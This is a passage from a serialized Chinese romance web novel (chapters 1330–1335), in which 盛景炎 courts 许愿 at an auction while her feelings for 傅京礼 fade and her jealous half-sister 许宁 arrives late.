“那你还说自己是恋爱脑,你不会以为这会是加分项吧。”许愿似是有些无奈,盛景炎回应:“难道不算是加分项吗,如果我说我只是因为你一个人恋爱脑呢?只是看到你才会恋爱脑呢?” “许愿,跟我恋爱的话我的一切都可以是你的,我的人我的心我的钱我以后所拥有的一切都可以是你的,遗嘱第一受益人都可以是你。”这话说的有些过于重了。 许愿觉得盛景炎似乎是更疯了。 “盛景炎,你追人都是这么追的?”许愿问。 “我只追过你。”盛景炎又在笑,他确实没有撒谎,往日那些确实是逢场作戏,故意演出的浪荡模样,他确实只追求过许愿。 “我说我干净也不是在骗你,没谈过恋爱,我只是觉得阿愿你这么好我也应该更好一点才配得上你。” 他甚至没有把许愿放到跟自己同等的位置,他将许愿看的比自己还高。 他是真的很在意许愿。 韩城在一旁吃瓜吃的牙更酸了,他唧唧歪歪小声道:“盛景炎真不觉得肉麻吗,平日里跟沾了毒汁一样的嘴怎么说出来这些情话的,真是一套又一套,这么会哄人,咦惹……好嫌弃,我才不会哄人,我要让我女朋友把我供起来,我是小王子。”韩城特别得意。 韩越脸上看戏的笑意都僵住了。 小王子?小智障吧! 还要被女朋友供起来,哪里来的女朋友?青天白日的怎么一直在做梦呢?就不能清醒点? 韩越踩他一脚:“快闭嘴吧,说的你好像有女朋友一样,你哪里来的女朋友。” 韩城:“……”扎心了老哥。 第1330章 姐狗恋 “我现在没有女朋友,但我迟早会有女朋友的,迟早的事!”韩城不服气。 韩越微笑的阴阳怪气:“对,找到个能把你捧起来供起来的女朋友?长得不美怎么想的这么美?” 韩城:“……”靠,怎么一个两个的现在都攻击他的,觉得他好欺负吗,简直没天理啊! 韩城憋屈不吭声了,心道说的谁找不到个哄他的人了,他就不爱哄人喜欢被人哄怎么了。 “我看你就是不知道姐弟恋。”韩城叽歪。 韩越嗤道:“姐狗恋。” 韩城:“?你知道你这样也把你自己骂进去了吗?我是狗你是什么?狗的哥哥?到底谁想一家子是狗啊,说话前能不能过过脑子的韩越?” 韩越微笑:“有没有可能你不是亲生的是抱养的,不然怎么智商完全没有遗传韩家人呢。” 韩城:“……” 被侮辱了?不确定,再听听? 黎云笙抱着手臂觉得今天这拍卖会没有白来,看了两场好戏,啧,有意思。 韩城和韩越在这里斗嘴许愿和盛景炎是不知道的,这个时间盛景炎哪有那个心思放到自己的兄弟身上,看许愿都看不够的。 跟许愿在一起的时候盛景炎总是会控制不住的目光落到许愿的脸上,他总是很在意她的情绪。 “你好像还没有回答我的问题,你喜欢傅京礼?”盛景炎再次开口,声音不高,却带着一种不容回避的执着。 他微微侧身,将整个身体的朝向都对准了许愿,目光灼灼,仿佛要穿透她眼底的迷雾。 许愿听到盛景炎的追问,身体微微一顿,她沉默了片刻,长长的睫毛垂下,在眼睑下方投下一小片阴影,遮住了眼底的思绪。 空气仿佛在这一刻变得粘稠,周围的声音似乎都远去了,只剩下盛景炎的问题,在她耳边反复回响。 终于,她再次抬眸。 这一次,她的目光没有落在盛景炎关切的脸上,而是越过他,重新落回到不远处的傅京礼身上。 傅京礼正与几位商业伙伴交谈,他依旧是那副惯有的冷淡姿态,眉宇间带着疏离,言谈举止间透着一股生人勿近的气场。 他微微侧着头,灯光勾勒出他完美的侧脸轮廓,鼻梁高挺,薄唇轻启,每一个细微的表情都带着一种天生的优越感和掌控力。 许愿静静地看着他,记忆的闸门仿佛被悄然打开。 她回想起过去无数个日夜,自己对傅京礼的感情。 那时记忆中的傅京礼,于她而言,是高不可攀的月亮,是她倾尽所有也想靠近的光芒。 她甚至会因为喜欢傅承将自己放到较为卑微的位置。 然而此刻,当她的目光再次与那张熟悉的脸相遇,许愿却清晰地感觉到自己心脏跳动的频率逐渐加快。 但那不再是昔日那种带着狂热与悸动的加速,甚至是一丝陌生的紊乱。 她感到有些恍惚,好像有什么东西在悄然改变。 她下意识地抬起手,轻轻覆盖在自己的胸口。 那里,曾经因为傅京礼的一个靠近而如擂鼓般狂跳,如今却只剩下一片平静,或者,是一种正在逐渐消散的余温。 她努力去感受那份曾经刻骨铭心的爱恋,却发现,那份感情似乎真的减弱了很多,像潮水退去后留在沙滩上的印记,正在被时间的风一点点抹平。 好像……真的没有那么爱了。 她怔住了,有些茫然,有些不知所措。 这到底是为什么呢?明明以前……不是这样的。 她曾以为,傅京礼是她生命中的唯一,是她无论如何也无法割舍的存在。 许愿的眼睫微微跟着颤了颤,她看着傅京礼,却感觉那个男人正在变得遥远,变得模糊,他们之间仿佛隔着一条无法逾越的鸿沟。 盛景炎一直密切地观察着许愿,他将她脸上每一丝细微的变化都尽收眼底。 他轻声问:“你在想什么?” 许愿像是从一场深梦中被唤醒,她很轻很轻地摇了下头,动作缓慢而无力。 她的声音也变得很轻,:“我在想,我到底喜不喜欢傅京礼呢。”她顿了顿,目光有些失焦地望着前方,“我好像……想不到答案该是什么。” 她的语气里带着一丝困惑,一丝迷茫,甚至有一丝不易察觉的疲惫。 盛景炎扬了扬眉,眉梢之间不自觉地染上了一抹得意的意味儿。 许愿这样的回应,说明她的心,已经被他成功地扰乱了。她不再像过去那样,对傅京礼的名字有着本能的、不容置疑的反应。 她开始犹豫,开始怀疑,开始审视。 这说明,她其实也并没有那么喜欢傅京礼了,不是吗? 或者说,至少,那份喜欢,已经不再纯粹,不再坚不可摧。 盛景炎深吸一口气,压下心头翻涌的情绪,用一种带着引导性,却又显得无比温柔的语气说道:“你想不到答案是什么,那大概是不喜欢的。”他分析着。 “因为,”他继续道,目光变得深邃而专注,“你在考虑回应我的时候,其实可能已经在考虑我的心情了。你不想轻易地给出一个答案,怕伤了我,也怕违背自己的内心。这说明什么?” 他微微倾身,拉近了与许愿的距离,声音低沉而富有磁性:“这说明,你已经开始在意我了,不是吗?” 他看着许愿,眼神里闪烁着灼热的光芒,仿佛要将她融化。 许愿听到盛景炎的话,身体微微一震。 她愣住了,脑海中反复咀嚼着他的话语。 在考虑回应他的时候,其实已经在考虑他的心情了……已经开始在意他了…… 她开始意识到,当她面对盛景炎的追问时,内心的犹豫,或许真的不仅仅是因为对傅京礼感情的模糊,更是因为她潜意识里,开始在意这个男人的感受。 她不想轻易地用一句“喜欢”去敷衍他,也不想用一句“不喜欢”去伤害他。 这种在意,这种考量,本身就是一种变化。 她看着盛景炎,眼神中的迷茫渐渐褪去,取而代之的是一丝清明和复杂。 她张了张嘴,想要说些什么,却发现喉咙有些干涩。 第1331章 这世界是不是彻底癫了 曾经的许愿,对于傅京礼的感情,是那样清晰而笃定。那份喜欢,如同刻在骨血里的印记,鲜明、浓烈,不容置疑。 她可以毫不犹豫地回答任何关于傅京礼的问题,每一个字都饱含着深情与眷恋。 她曾以为,这份感情永远都不会有动摇。 然而,此刻的许愿,却清晰地感受到了一种前所未有的变化。 她发现,自己好像真的受到了盛景炎的影响,她对傅京礼的感情,那曾经如烈火般炽热的情感,似乎真的在不知不觉中被冲淡了。 这简直太奇怪了。 她试图去抓住那份曾经对傅京礼的悸动,却发现记忆中的影像已经开始模糊,那份刻骨铭心的爱意,也变得不再那么纯粹和强烈。 她甚至有些恍惚,怀疑自己是否记错了曾经的感情。 但奇怪的是,这种感觉并不会让人觉得厌恶,没有背叛感,也没有负罪感。 相反,当她意识到自己对傅京礼的感情在消退时,内心深处竟然泛起一丝释然。 就像卸下了一副沉重的枷锁,呼吸都变得轻快起来。 这种情感的抽离,带来了一种前所未有的轻松感。 甚至……她是有点享受的。 这种享受,并非源于对傅京礼的报复或解脱,而是源于盛景炎的存在本身。 他的关注,他的在意,他的步步紧逼却又不失分寸的温柔,让她心甘情愿地沉溺其中。 就像盛景炎曾经说过的,被一个清醒、理智、聪明的“恋爱脑”喜欢,本身就是一件很享受、很舒爽的事情。 起码,许愿现在是爽到了。 她享受这种被盛景炎全神贯注喜欢着的感觉,享受他目光中毫不掩饰的欣赏和爱意,享受他为了她而展现出的那份独有的温柔和耐心。 这种被坚定选择、被小心翼翼呵护的感觉,是她在傅京礼那里从未体验过的。 她好像真的没有多喜欢傅京礼了,是吧。 “你好像很得意?”许愿的目光从远处收回,重新落回到盛景炎的脸上。 此刻的他,眉梢眼角都带着一丝掩饰不住的得意。 盛景炎听到她的问话,唇角勾起一抹轻笑,那笑容里带着一丝痞气,又带着一丝坦荡。 他毫不避讳地迎上她的视线,声音带着一丝愉悦的沙哑:“我喜欢的人好像有点喜欢我了,难道不该得意吗?” 他的话语直白而大胆,没有丝毫掩饰。 他用“喜欢的人”来形容许愿,用“有点喜欢我”来定义他们之间关系的变化,像是故意的暧昧拉近两人之间的关系。 许愿当然知道,盛景炎口中的“喜欢的人”指的就是自己。 她的眼角眉梢都染上了笑意,仿佛春日里盛开的花朵,明媚而动人。 …… 韩城嘴巴里嘎嘣的咬了一根糖果,自顾的干笑了两声,呵呵,盛景炎的世界到底还有没有其他人了。 这世界是不是彻底癫了? 黎云笙有了温栩栩,张口闭口都是温栩栩,盛景炎有了许愿,满眼都是许愿。 呵呵。 他哥呢?以后该不会也要这样秀恩爱吧。 韩城忍不住打了个哆嗦,看向自己的大哥开口:“哥,你以后能不能不谈恋爱不结婚?” 韩越:“?” 韩越被气笑了。 “韩城,我又招你了?你咒谁呢?”如果不是现场有那么多人,韩越真的很想揪韩城的耳朵让他知道知道轻重。 “你没看到吗,黎云笙谈了场恋爱,疯了,盛景炎谈了场恋爱,恋爱脑了,你再谈一场恋爱……那我还要不要活了,恋爱到底有什么好谈的,一个两个都要去谈恋爱的!”韩城几乎是想要哀嚎。 韩越嗤笑:“许愿和温栩栩想跟你谈恋爱你谈不谈。” 韩城想也不想的回答:“那我肯定谈!” 开玩笑,人就是视觉动物。 温栩栩和许愿又多漂亮韩城也是知道的,虽然朋友妻不可欺,但韩城说的不是假设吗?跟她们两个谈恋爱那绝对爽爆了。 韩越忍住翻白眼的冲动低声道:“滚远些,你这样太低智了。” 韩城还有点委屈的真的滚远了。 韩城觉得今天自己运气不好,绝对是风水的问题,肯定是这个拍卖会克他,对,出了问题一定不能从自己身上找原因,绝对是外部原因,韩城心想内耗不好,我必须外耗。 韩越都懒得理韩城了,实在是不清楚韩城的小脑袋瓜里面到底又装了些什么奇奇怪怪的,只是单想一想就觉得离谱的程度了。 …… 傅京礼正与合作商敲定着最后的合作方案。 他面上依旧是惯有的寡淡冷漠,没有什么表情,仿佛眼前的一切纷扰都与他无关。 他声音低沉,语速平稳,每一个字都透着不容置疑的专业与疏离。 合作商虽然被他的冷淡态度弄得有些讪讪,却依然笑呵呵地应和着,毕竟傅京礼的能力和背景摆在那儿,是不可多得的合作伙伴。 然而,合作商的目光,却总是不由自主地被不远处引过去。 他的视线,控制不住地越过傅京礼的肩头,频频落到许愿和盛景炎身上。 此刻的许愿,正侧身与盛景炎低语,她的姿态慵懒而优雅,像一朵在夜色中悄然绽放的红玫瑰。 她身上穿着一套简约至极的红裙,没有繁复的蕾丝,没有多余的装饰,只是流畅的剪裁和高级的面料,便将她玲珑有致的身材衬托得淋漓尽致。 那红色,不是张扬的火红,而是一种带着丝绒质感的酒红,深邃而浓郁,恰到好处地勾勒出她白皙的肌肤,衬得她肌肤如新雪般莹白无瑕,仿佛吹弹可破。灯光洒在她身上,那红色的裙摆泛着细腻的光泽,如同流动的晚霞,将她整个人笼罩在一片迷离而诱惑的氛围中。 她的唇色是自然的嫣红,饱满而富有光泽,笑起来时,明艳中带着明显的蛊惑意味儿。 她的五官本就精致,此刻在红裙的映衬下,更显得明艳动人,眼波流转间,带着一种不经意的风情。 那是一种美艳迷人的感觉,能点燃人心底欲望的美。她站在那里,无需任何言语,像一团燃烧的火焰,吸引着所有人的目光,让人无法移开视线。 合作商看着这一幕,眼神里闪过一丝惊艳和贪婪,他愣了一瞬,才回过神来,带着几分探究和惋惜,笑着开口问傅京礼:“傅总,那位小姐是?看着面生,是哪家的千金?” 第1332章 约会项目之一 傅京礼原本正低头看着合同,听到合作商的问话,眉头几不可察地蹙了一下。 他顺着合作商的目光看过去,视线触及到许愿和盛景炎的身影时,那双深邃的眸子里,掠过一丝极淡的、难以察觉的复杂情绪,随即又恢复了惯有的冰冷。他淡淡地吐出两个字:“不认识。” 他的声音平静无波,仿佛在陈述一件与己无关的事实。 合作商显然有些不信甚至是不甘心。 合作商咂咂嘴,带着几分遗憾地感叹道:“真可惜啊,这么漂亮的姑娘,气质还这么出众,我还想着……”他的话没有说完,但其中的意味已经不言而喻。 傅京礼的眸光,因他这句话,更冷了几分。 他将手中的合同合上,抬眸,目光锐利如刀,直直地刺向合作商,声音里带着一丝警告和不耐:“她身边那人,是帝城盛家的少爷盛景炎。我奉劝你不要动盛景炎的人。” “盛景炎也好,黎云笙也好,这几个人都护短,你不会想知道招惹他们的下场。” 合作商脸上的笑容僵住了,他有些错愕地看着傅京礼,显然没料到傅京礼会如此严肃地警告他。 他顺着傅京礼的目光再次看向盛景炎,只见那位盛家少爷正专注地与许愿交谈,嘴角噙着一抹温柔的笑意,但周身的气场,却并不像表面看起来那么好相处。 那是一种与生俱来的、带着压迫感的矜贵。 合作商讪讪地笑了笑,连忙摆手:“傅总言重了,言重了,我就是随口一问,随口一问。”他心中暗自庆幸,还好自己没有轻举妄动,不然,得罪了盛家和黎家,那后果,他还真承担不起。 傅京礼没有再看他,只是冷冷地“嗯”了一声,便将目光收了回来,重新投向手中的文件,仿佛刚才的一切都未曾发生。 但他的指尖,却在无人看到的地方,微微蜷缩了一下。 他的视线,偶尔会不受控制地再次飘向许愿的方向,看到她与盛景炎的互动,看到她脸上那明艳的笑容,他的心中,像是被什么东西轻轻刺了一下,泛起一丝微不可察的涟漪,随即又被更深的冷漠所掩盖。 而许愿和盛景炎,似乎也察觉到了这边投来的视线。 许愿的目光与傅京礼短暂地交汇了一瞬,那眼神里没有了往日的复杂情绪,只有一片平静,甚至带着一丝若有若无的探究。随即,她便移开了视线,继续与盛景炎谈笑风生,仿佛那只是一次再普通不过的对视。 盛景炎也注意到了傅京礼和合作商那边的动静,他不动声色地将许愿往自己身边带了带,用身体隔绝了部分视线。 傅京礼神色冷峻,眸光如冰,他目光扫过人群,掠过许愿时,那凉意陡然加深,仿佛冬夜骤降的寒霜,他刻意忽视她的存在,步伐冷静而决绝,仿佛许愿只是会场中一抹无关紧要的背景板。 反倒是合作商,即便已经进场,也忍不住频频回头,目光在许愿身上流连,脸上浮现出难以掩饰的惊艳和好奇。 韩城站在不远处,平日里大大咧咧的他也敏锐地捕捉到了现场气氛的微妙变化,尤其是傅京礼那道如利刃般投向盛景炎的视线。他实在没忍住,大步走过来,凑到盛景炎面前,压低声音问:“傅京礼看你干什么?那眼神有点古怪啊。” 盛景炎闻言,眉梢轻挑,唇角勾起一抹玩世不恭的笑意。 盛景炎慢条斯理地整理了一下袖口,目光带着几分戏谑,漫不经心地回道:“大概觉得比不过我,自惭形秽吧。” 韩城一愣,随即满脸不敢置信,嘴巴微张,仿佛被盛景炎这厚脸皮的回答噎住,一时竟说不出话来。 他内心暗自嘀咕:还真是小看了盛景炎的脸皮厚度,他到底是怎么做到面不改色心不跳,厚着脸皮说出这种不要脸的话的? 韩城反应过来,忍不住回敬道:“要不你俩打一架?看看谁更厉害?省得嘴上逞能。” 盛景炎轻笑一声,姿态从容:“我们聪明人都是动脑不动手的。”话语间带着明显的调侃与自信。 韩城心里嗤之以鼻,暗道:屁吧,说得跟你少跟他动手一样。 他忽然一愣,脑子转过弯来,猛然意识到这货分明是在嘲讽他智商不行!顿时气得牙痒痒,却又无从反驳,只能恨恨地瞪了盛景炎一眼。 其实倒也不是韩城脑子不好使,只是跟这几个变态比起来,那确实是脑子稍稍显得有点不够用了。 韩城还想继续叭叭,继续跟盛景炎理论,却被韩越一把拽住手臂,低声警告:“你能不能长点眼力见儿?许愿在盛景炎身边呢,你老凑过去算是什么事儿?” 韩城憋屈又无奈,心里委屈得要命,他望望许愿,又看看盛景炎,觉得自己像个局外人,既可怜又无力。 他撇了撇嘴,终究没办法反驳,只能愤愤地站到一边,满脸写着“好烦”,内心不住哀嚎啊,好烦!这种被排挤在外的感觉简直糟糕透了。 韩城倒是也没去想想,盛景炎在追求许愿,这俩人暧昧来暧昧去的,他总是插进去那算是什么事儿啊,要不韩越说他没脑子呢,放韩城出门那真就跟放出二哈没什么区别,放的出去收不回来啊。 此时,盛景炎已经向许愿伸出手,邀请她一起入场。 许愿安静地站在他身旁,目光澄澈而柔和,她只是微微一笑,便将手轻轻放到他的掌心。 盛景炎感受到她指尖的微凉,盛景炎握住她的手,唇角扬起一抹笑意,低声道:“好了,我们也算是一起参加拍卖会了,这也算是我们的约会项目之一了。” 许愿心跳微微加快,她轻声应道:“嗯,也算是约会吧。”她感受到盛景炎掌心的温度,那股温暖仿佛顺着指尖蔓延至心底,驱散了些不安。 听到她承认这是约会,盛景炎眉眼之间的笑意也愈发深了。 两人并肩而行,缓缓步入会场。 第1333章 珍重在意 宾客们身着华丽礼服,男士们西装笔挺,女士们珠光宝气,皆是城市名流与各界精英。他们三三两两地聚集在一起低声交谈,偶尔有侍者端着香槟或精致点心穿梭其中,维持着恰到好处的优雅氛围。 拍卖台设在会场中央,台上铺着红色丝绒布,灯光聚焦之下,每一件即将拍卖的珍品都宛如艺术品般闪耀着诱人的光芒。 盛景炎本来就是人群焦点,盛少爷每一次参加什么晚宴拍卖会都会换女伴,不少圈内人每次就循着盛景炎想看他每次换的女伴有多漂亮,所以现在都已经形成了肌肉记忆了。 所以就导致他们的进场仿佛自带光环,原本喧嚣的现场忽然安静了几分,无数目光不由自主地汇聚而来。 有人低声猜测:“那是盛家的少爷吧?他身边的女孩是谁?”有人眼神惊艳,有人窃窃私语,更有些名媛不自觉地打量许愿,目光里带着探究、羡慕,倒是没有嫉妒的。 探究羡慕的确是有的,毕竟这些名媛内心都觉得自己是很优秀很漂亮的,偏偏来了一个在容貌上能完全压制住自己的,自然是心里不太服气的,可是越看越不服气,没人想承认自己不如对方漂亮啊。 不过倒是没有人嫉妒许愿,因为盛景炎是圈子里面有名的纨绔浪子了,名媛们也就只想过跟盛景炎谈一场恋爱,至于结婚什么的,那真是完全没想过的事情了。 盛景炎却仿佛毫无所觉,只专注地牵着许愿,步伐稳健地穿过人群。 他微微侧头,低声对许愿道:“别紧张,有我在。”声音温和,也确实带着令人安心的力量。 许愿微微点头,虽然她本身也没有多紧张,不过被人关心在意也总是开心的。 一些相熟的名流主动上前打招呼:“盛少好久不见,这位是?” 盛景炎微微一笑,介绍道:“许愿,我的朋友。”他没有多言,但语气里的珍视与郑重却显而易见。 他说的是朋友,不是女伴,这就已经足够引起周围人的重视了。 大家都清楚,对盛景炎来说女伴那可能就是情人,可能几天就换的,可朋友的话,那确实会让人看重几分,虽然没怎么听说许家是哪一大家族,毕竟在这群人心里能被盛景炎当做朋友的女性,甚至这样漂亮有气质的大概也就是圈内名媛了,可想了半天也猜不出是哪个许家了,有些人心道大概这位许小姐是随母姓,可能许愿母家是其他城市的大家族千金吧。 众人见状,也不再多问,只纷纷向许愿点头致意,态度客气而尊重。 人群中,傅京礼与合作商刚刚落座,目光却不由自主地向盛景炎和许愿的方向扫去。 傅京礼眸色深沉,目光中的凉意似乎更深了几分,仿佛连空气都被他的情绪染上了一层冷意。 但此刻许愿并没有去注意他的不对劲,因为现在许愿的目光并没有为他有过多的停留了。 许愿和盛景炎两人并肩走向预留的贵宾席,一路上,无数目光追随,有人羡慕,有人探究,有人暗自揣测他们的关系。 但许愿却并不在意这些,而盛景炎也在最开始就说了,许愿是他的朋友,朋友和女伴,那确实是很大的区别。 拍卖台上,主持人正在热情洋溢地介绍今晚的第一件拍品,一件来自文艺复兴时期的古董怀表,表身镶嵌着细密的钻石,历史与艺术的厚重感扑面而来。 灯光聚焦,气氛逐渐升温。 盛景炎低声为许愿介绍着拍卖会的规则和拍品的故事,语气平和,耐心细致。 许愿听得入神,偶尔提出疑问,盛景炎都一一解答,两人之间的互动自然而亲昵。 旁人看在眼里,只是猜测许愿肯定身份不一般,不然怎么盛景炎这么重视在意的? 拍卖正式开始,第一件拍品便引得众人竞相举牌,价格一路攀升。 盛景炎并未参与,只含笑看着许愿,仿佛今晚的主角不是拍品,而是她。许愿感受到他的注视,心中泛起一阵阵莫名的悸动。 显然盛景炎不在意这件拍品是因为许愿不在意这件拍品。 会场中,议论声此起彼伏,有人关注拍品,有人关注盛景炎与许愿,还有人留意着傅京礼的神情。 傅京礼始终沉默,目光偶尔掠过许愿,却始终没有主动靠近。 韩城则被韩越死死拽着,只能远远地嘟囔几句,也不能就近蛐蛐盛景炎了,只觉得没了什么趣味。 拍卖会持续进行,每一件珍品都引发一轮轮激烈的竞拍。 拍卖间隙,侍者送来香槟和点心,盛景炎细心地为她挑选她喜欢的口味,显然挑中的都恰好是许愿喜欢的口味儿。 周围的目光依旧热烈,有人低声议论:“盛少身边的女孩气质真好,不知道是什么来头。” 有人猜测:“是不是哪家的千金?” 也有人羡慕:“盛少对她真好,看来是动了真心。”流言蜚语在会场流转,却丝毫没有影响盛景炎和许愿。 拍卖会高潮来临,压轴拍品是一件稀世翡翠项链,色泽温润,雕工精湛,灯光下宛如一汪碧水。 主持人介绍时,全场气氛达到顶点。 盛景炎微微一笑,低声问许愿:“喜欢吗?”许愿惊讶地看向他,还没来得及回答,盛景炎已经举牌,毫不犹豫地加入竞拍。 不等许愿回话,盛景炎已经加入了竞拍,他自己没有多喜欢这首饰,他只是单纯的想送给许愿。 他觉得许愿值得这世界上最好的一切。 …… 许宁乘坐的加长轿车缓缓停在拍卖会场的门口,她并没有急于下车,而是坐在车内,借着车内柔和的灯光,对着化妆镜细细端详自己的妆容。 镜中的她,肌肤胜雪,五官精致而立体,眼线勾勒出微微上扬的媚态,唇色是恰到好处的玫瑰粉,既不失端庄,又带着一丝张扬。 她满意地勾起嘴角,露出一抹自信的笑容。 今晚,她不允许自己有任何瑕疵,她就是想要碾压其他名媛。 她低头,欣赏着身上那件傅京礼亲自为她挑选并送来的礼服裙。 第1334章 有什么毛病? 礼服以高级定制的丝绸为底,镶嵌着细碎的施华洛世奇水晶,流线型的设计勾勒出她曼妙的身形,裙摆随着她的动作轻轻摇曳,仿佛夜色中流动的星河。 许宁心里面清楚,这不仅仅是一件礼服,更是一种身份的象征,因为普通人是买不到这件礼服的。 这是F国最新季的高定礼服,全球仅三件,每一件都是独一无二的艺术品,价值高达七十万美元。 而此刻,其中一件正穿在她身上,这份荣耀让她内心充满了无与伦比的优越感,帝城那些名媛都没有这身礼服呢,今晚或许没有人比她更尊贵了呢。 她特意将头发挽起,露出修长的脖颈和精致的锁骨,耳畔的钻石耳坠随着她的动作微微晃动,折射出璀璨的光芒。 她伸手轻轻整理了一下发丝,指尖划过脸颊,感受着自己肌肤的细腻与紧致。 她对自己的容貌向来自信,而今晚,她更是将这份自信推向了顶峰。 她想象着自己踏进会场的那一刻,所有人的目光都会聚焦在自己身上,那些平日里高傲的名媛们,一定会投来羡慕、嫉妒,甚至有些许敬畏的目光。 而她的男伴,是傅京礼,只要想想自己的男伴是谁,许宁就会控制不住的激动和骄傲了。 今晚,那群名媛什么都比不过自己。 许宁深吸一口气,压下心头的激动,推开车门,优雅地走下车。 高跟鞋踩在红毯上,她挺直了脊背,昂起头,脸上挂着得体而自信的微笑,一步步走向会场入口。 她想象着门内那些人,会因为她的到来而微微屏息,会因为她的光芒而暂时失语。 她甚至已经在脑海中预演了那些名媛们凑过来,假装不经意地打听她的礼服品牌,以及她与傅京礼的关系。这种被众人瞩目,成为焦点的感觉,让她感到前所未有的满足和得意。 她甚至能感觉到身边侍者投来的惊艳目光,以及周围宾客低声的赞叹。 然而,当她真正踏入会场的那一刻,预想中的瞩目并没有如期而至。 她迟到了。 她竟然迟到了。 是的,许宁从没有参加过这种拍卖会,竟然会因为化妆整理仪容迟到了。 许宁脸上的表情都有些古怪和尴尬,但她不清楚拍卖会场的规则,也不清楚自己这样多失礼,甚至还觉得自己这样或许是压轴呢。 会场内灯光璀璨,人影交错,但人们的视线似乎都被某个中心点吸引着,并没有多少人注意到她的到来。 许宁脸上的笑容微微一滞,心中泛起一丝不悦。 她下意识地拢了拢肩,确认自己的礼服和妆容是否完美无瑕,她明明是今晚最耀眼的存在,为何无人问津? 带着一丝困惑与不甘,她循着众人目光的方向望去,想要找出那个吸引了全场注意力的“主角”。 视线穿过人群,最终,她看到了那个焦点。而那个焦点,竟然是她最熟悉,也是她最不愿意见到的人——许愿。 是的,不分男女,几乎所有人的目光都落在许愿身上。 许宁当然知道许愿是谁。 许愿,是她的姐姐,或者说,是她同父异母的姐姐。 许愿是她父亲与原配妻子所生的孩子,是名正言顺的许家大小姐。 而她许宁呢? 她的母亲,只是被父亲养在外面的情人。 她从小在不完整的家庭中长大,被区别对待,被忽视,甚至有些时候,连“许”这个姓氏对她来说都是一种奢望。她对许愿的感情,自小便是复杂的。有羡慕,羡慕许愿可以光明正大地拥有父爱,拥有完整的家庭,拥有所有她渴望却得不到的东西,有嫉妒,嫉妒许愿似乎天生就拥有一切,不需要费尽心机,就能得到众人的喜爱和关注。 而现在,这种羡慕和嫉妒,早已在她心中发酵成了深深的恨意。 她恨许愿,恨她夺走了本该属于自己的关注和宠爱。 她精心打扮,穿着价值连城的礼服,满心以为自己会是今晚最亮眼的星。可现实却给了她一记响亮的耳光。 众人的目光,没有落在她璀璨的水晶礼服上,没有落在她精致的妆容上,而是全部聚焦在许愿身上。 许宁感觉自己的呼吸都停滞了一瞬。 她站在原地,仿佛一个被遗忘在角落的小丑,所有的得意和自信在这一刻土崩瓦解。 她看着许愿,看着她被众人瞩目,看着她与盛景炎之间的亲密互动,眼底的光芒由震惊,转为难以置信,最终化为一片冰冷的恨意。那恨意如同毒蛇,在她的心底蜿蜒爬行,啃噬着她的理智。 她恨许愿,凭什么? 凭什么许愿什么都不用做,就能轻易得到所有人的目光? 凭什么她许宁费尽心思,却依然只能站在阴影里? 她甚至能感觉到周围有人在窃窃私语,目光在她和许愿之间来回逡巡,在许宁看来,这群人或许是在比较她们姐妹俩,或许是在议论她们截然不同的命运。这些目光,这些议论,像一根根细小的针,扎在她的心上。 但事实那群人根本不知道许宁是谁,他们甚至不知道许愿的身份,他们议论的无非是许宁是谁为什么迟到,仅此而已。 是因为许宁太在乎身份所以才会觉得周围的人在议论自己的身份,就是这么简单。 她紧紧攥住了手中的小手包,指节因为用力而泛白。 脸上的得意早已消失不见,取而代之的是一种近乎扭曲的嫉妒和不甘。 她站在那里,仿佛与整个喧嚣的会场格格不入,所有的光芒都汇聚在许愿身上,而她,只能在阴影里,用充满恨意的目光,死死地盯着那个夺走了一切的“姐姐”。 许宁深吸一口气,努力平复着内心的波澜。 她不能输,至少不能在外表上输了气势。 她重新扬起下巴,强迫自己露出一抹微笑,尽管那笑容显得有些僵硬和勉强。 她迈开脚步,朝着会场内部走去,每一步都走得异常坚定,但她自己心里不清楚越是这样越会让人觉得是小丑。 对啊,你都迟到了,摆出这幅得意的样子给谁看呢?有什么毛病? 第1335章 挫败和屈辱 许宁完全不知道周围人看不起自己,她其实根本不在意周围的人,她只在意许愿。 望着许愿,许宁的胸口剧烈地起伏着,一股难以遏制的气愤在她体内翻涌。 她站在那里,目光如同钉子一般,死死地钉在许愿的身上,几乎是在暗中咬牙切齿。牙齿紧紧地咬合在一起,发出细微的“咯咯”声,连她自己都能清晰地感觉到那份咬牙切齿的恨意。 她内心充满了不甘和愤懑,明明自己才是那个身着天价礼服的人,这件F国最新季的高定,全球仅三件之一,价值七十万美元,闪耀着无与伦比的奢华。 可为什么,为什么许愿只需站在那里,哪怕随便披一件麻袋,都会让人觉得她好看,让人无法忽视她的存在? 这种认知像一根尖锐的刺,深深地扎进许宁的自尊心。 许愿为什么会出现在这里? 她怎么能出现在这里? 她甚至无法理解,许愿凭什么能拥有那样的气质,那样的关注度,仿佛天生就属于这样的场合。 许宁的眼神里带着几分慌乱和闪烁,她能感觉到周围有一些目光扫过自己,但那些目光却和她想象中的羡慕、惊艳完全不同。 那些目光是带着审视、带着疑惑,甚至带着一丝不易察觉的轻视。 人们打量着她,试图辨认她的身份,但似乎没有人认出她是谁。 在场的名流们,目光在她和许愿之间游移,很快便失去了兴趣,他们觉得许宁并不漂亮,至少没有达到惊艳的程度,更没有那种与生俱来的高贵气质。 她身上那件昂贵的礼服,反而衬得她有些局促和小家子气,像一个努力穿上华丽衣裳却无法驾驭的孩童。 许宁确实缺乏那种沉淀下来的优雅与从容。她的美是用力的,是经过精心雕琢和包装的,却缺少了内在的底蕴和涵养。她的一举一动,都透着一股刻意和紧张,仿佛生怕别人看不出她的“高贵”。 她身上的礼服再昂贵,珠宝再璀璨,也无法掩盖她骨子里的那份小家子气。 在场的人都是人精,他们见惯了真正的名媛千金,对于许宁这种“暴发户”式的打扮,自然不会高看一眼。 毕竟,网络上那些网红,为了博取眼球,什么天价礼服买不到?或者用各种手段配货拿到正版,甚至盗版也敢穿上身招摇过市。 所以,在场的宾客们,几乎没有几个人把许宁当成真正的名媛千金看待,他们只是把她当作一个穿着华丽却身份不明的“路人甲”。 然而,许宁却并不理解这些目光背后的含义。 她还沉浸在自己的世界里,沉浸在对许愿的滔天恨意之中。 她根本不知道,那些扫过她的目光,早已将她的底细看得一清二楚,早已对她下了“没有气质”、“身份可疑”的定义。 她所有的注意力,所有的愤懑,都聚焦在许愿的身上,那恨意如同实质,几乎要化为火焰,将许愿吞噬。 她看着许愿,许愿的每一个微笑,每一个眼神,都显得那么自然,那么优雅,仿佛她天生就该属于这样的场合。 许宁的指甲深深嵌入掌心,疼痛让她更加清醒,也更加愤怒。 她恨许愿的从容,恨许愿的优雅,恨许愿身上那份她永远也学不会、模仿不来的气质。 在许宁的眼中,许愿的存在本身就是一种嘲讽,一种对她所有努力的否定。 她精心打扮,费尽心机,穿上了价值连城的礼服,却依然无法成为焦点。 